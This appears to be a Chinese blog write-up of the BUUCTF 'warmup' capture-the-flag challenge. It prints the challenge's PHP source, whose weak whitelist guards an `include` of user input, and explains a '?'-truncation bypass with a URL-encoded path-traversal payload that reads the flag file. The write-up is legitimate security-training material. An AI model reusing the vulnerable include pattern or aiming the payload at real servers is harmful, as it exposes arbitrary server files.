热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

BUUCTFWEB

warmup题目描述一打开就看到,那咱们就进去看看里面有什么

warmup

 题目描述

一打开就看到,那咱们就进去看看里面有什么

"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "
";}
?>

然后我们看到了hint.php,那就再进去看看了 

 

$_page = mb_substr($page,0,mb_strpos($page . '?', '?')//mb_strpos — 查找字符串在另一个字符串中首次出现的位置);if (in_array($_page, $whitelist)) {return true;}

 这就猜测flag,在ffffllllaaaagggg里面

根据上面的代码

现在假设我的payload为:file=source.php?/../ffffllllaaaagggg,经过mb_strpos为source.php?/../ffffllllaaaagggg?,但是mb_strpos这个函数只返回首次出现的位置,所以还是会返回第一个?的位置,而mb_substr截取函数,从0开始截取一直到第一个?的位置,截取内容为source.php,恰好能与白名单中的进行匹配,可以return true;,所以通过第一次截取进行绕过。

接下来,只要利用../回到服务器的根目录下,找到flag就行,经过测试,需要6个../,但是多打几个其实也可以,然后就是   ?source.php%25%33%46../../../../ffffllllaaaagggg ,得到flag:

http://1beba5b6-c6b0-4484-9a0e-36a1e6e78cba.node3.buuoj.cn/?file=source.php%3F../../../../../../ffffllllaaaagggg

资料来源: 

https://blog.csdn.net/qq_43431158/article/details/102551843

https://www.cnblogs.com/leixiao-/p/10265150.html

https://www.jianshu.com/p/42011eb79f8b


推荐阅读
author-avatar
LBM-痕迹
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有